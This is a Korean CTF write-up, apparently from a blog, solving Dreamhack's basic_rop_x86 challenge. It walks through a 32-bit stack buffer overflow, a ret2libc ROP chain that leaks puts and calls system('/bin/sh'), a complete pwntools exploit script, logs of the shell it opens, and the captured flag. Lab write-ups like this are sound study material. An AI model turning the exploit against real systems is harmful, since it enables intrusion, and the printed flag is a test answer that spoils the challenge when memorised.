Description

    이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x86)의 바이너리와 소스 코드가 주어집니다.
    Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, “flag” 파일을 읽으세요.
    “flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
    플래그의 형식은 DH{…} 입니다.

    Environment

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

    Files

    ubuntu@29c7cfc91700:~/dreamhack-CTF $ tree basic_rop_x86
    basic_rop_x86
    |-- Dockerfile
    |-- basic_rop_x86
    |-- basic_rop_x86.c
    |-- flag
    `-- libc.so.6
    
    0 directories, 5 files

    32비트 libc.so.6 라이브러리 파일과 basic_rop_x86 리눅스 32비트 실행 파일, 그리고 소스코드가 주어진다.

    아래 명령어로 도커로 환경 구축할 필요없이 patchelf를 통해
    basic_rop_x86 실행 파일을 문제파일과 같이 제공된 libc.so.6 라이브러리로 교체해줄 수 있다.

    ubuntu@29c7cfc91700:~/HackingLab/basic_rop_x86$ ldd ./basic_rop_x86
    	linux-gate.so.1 (0xf7f81000)
    	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d40000)
    	/lib/ld-linux.so.2 (0xf7f83000)
    ubuntu@29c7cfc91700:~/HackingLab/basic_rop_x86$ patchelf --replace-needed libc.so.6 ./libc.so.6 ./basic_rop_x86
    ubuntu@29c7cfc91700:~/HackingLab/basic_rop_x86$ ldd ./basic_rop_x86
    	linux-gate.so.1 (0xf7ecc000)
    	./libc.so.6 (0xf7c95000)
    	/lib/ld-linux.so.2 (0xf7ece000)

    분석

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char buf[64]; // [esp+0h] [ebp-44h] BYREF
    
      memset(buf, 0, sizeof(buf));
      initialize();
      read(0, buf, 0x400u);
      write(1, buf, 0x40u);
      return 0;
    }

    64바이트 크기를 가진 buf 변수에 read 함수로 0x400만큼이나 읽어온다.

    Solution

    스택 구조

    ————————————
    ret
    ————————————
    이전 함수의 base pointer <- ebp
    ————————————
    buf[64] <- ebp-0x44
    ————————————

    gdb-peda$ p system
    $1 = {<text variable, no debug info>} 0xf7d21cb0 <system>
    gdb-peda$ p puts
    $2 = {<text variable, no debug info>} 0xf7d4c830 <puts>
    gdb-peda$ find /bin/sh
    Searching for '/bin/sh' in: None ranges
    Found 1 results, display max 1 items:
    libc.so.6 : 0xf7e930f5 ("/bin/sh")
    1. 먼저 libc puts 함수에 있는 주소를 leak시키고 main 함수를 다시 호출시키기 위해 페이로드를 구성한다.
      (0x48바이트의 더미 데이터 + puts plt 주소 + main 주소 + puts got 주소)
    2. leak된 puts 함수 주소를 이용하여 “/bin/sh” 문자열과 system 주소를 계산해서 쉘을 획득한다.
      (0x48바이트의 더미 데이터 + libc system 주소 + 4바이트 더미데이터 + libc “/bin/sh” 문자열 주소)
    from pwn import *
    context.log_level = 'debug'
    warnings.filterwarnings( 'ignore' )
    
    #p = process("./basic_rop_x86")
    p = remote('host3.dreamhack.games', 18927)
    
    e = ELF('./basic_rop_x86')
    r = ROP(e)
    
    puts_plt = e.symbols['puts']
    puts_got = e.got['puts']
    main_func = e.symbols['main']
    
    payload = b"\x41" * 0x48 + p32(puts_plt) + p32(main_func) + p32(puts_got)
    
    p.sendline(payload)
    print(p.recv(64))
    leaked_puts = u32(p.recv(4))
    print("[+] leaked puts: " + hex(leaked_puts))
    
    system = leaked_puts - 0x2ab80
    sh = leaked_puts + 0x1468c5
    print("[+] system: " + hex(system))
    
    payload2 = b"\x41" * 0x48 + p32(system) + b"A"*4 + p32(sh)
    p.sendline(payload2)
    p.interactive()

    FLAG

    DH{511346c4606e748addd555cc9947aacf67990d504fac432f5dbb0f14eea8363b}

    ubuntu@29c7cfc91700:~/HackingLab/basic_rop_x86$ python3 pwn2.py
    [+] Opening connection to host3.dreamhack.games on port 18927: Done
    [*] '/home/ubuntu/HackingLab/basic_rop_x86/basic_rop_x86'
        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8047000)
    [*] Loaded 10 cached gadgets for './basic_rop_x86'
    [DEBUG] Sent 0x55 bytes:
        00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
        *
        00000040  41 41 41 41  41 41 41 41  20 84 04 08  d9 85 04 08  │AAAA│AAAA│ ···│····│
        00000050  18 a0 04 08  0a                                     │····│·│
        00000055
    [DEBUG] Received 0x40 bytes:
        b'A' * 0x40
    b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
    [DEBUG] Received 0x15 bytes:
        00000000  30 68 d7 f7  36 84 04 08  60 55 d2 f7  80 c5 e0 f7  │0h··│6···│`U··│····│
        00000010  30 6f d7 f7  0a                                     │0o··│·│
        00000015
    [+] leaked puts: 0xf7d76830
    [+] system: 0xf7d4bcb0
    [DEBUG] Sent 0x55 bytes:
        00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
        *
        00000040  41 41 41 41  41 41 41 41  b0 bc d4 f7  41 41 41 41  │AAAA│AAAA│····│AAAA│
        00000050  f5 d0 eb f7  0a                                     │····│·│
        00000055
    [*] Switching to interactive mode
    6\x84\x0`U\xd2\xf7\x80\xc5\xe0\xf70o\xd7\xf7
    $                 [DEBUG] Received 0x40 bytes:
        b'A' * 0x40
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ ls
    [DEBUG] Sent 0x3 bytes:
        b'ls\n'
    [DEBUG] Received 0x13 bytes:
        b'basic_rop_x86\n'
        b'flag\n'
    basic_rop_x86
    flag
    $ cat flag
    [DEBUG] Sent 0x9 bytes:
        b'cat flag\n'
    [DEBUG] Received 0x45 bytes:
        b'DH{511346c4606e748addd555cc9947aacf67990d504fac432f5dbb0f14eea8363b}\n'
    DH{511346c4606e748addd555cc9947aacf67990d504fac432f5dbb0f14eea8363b}

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다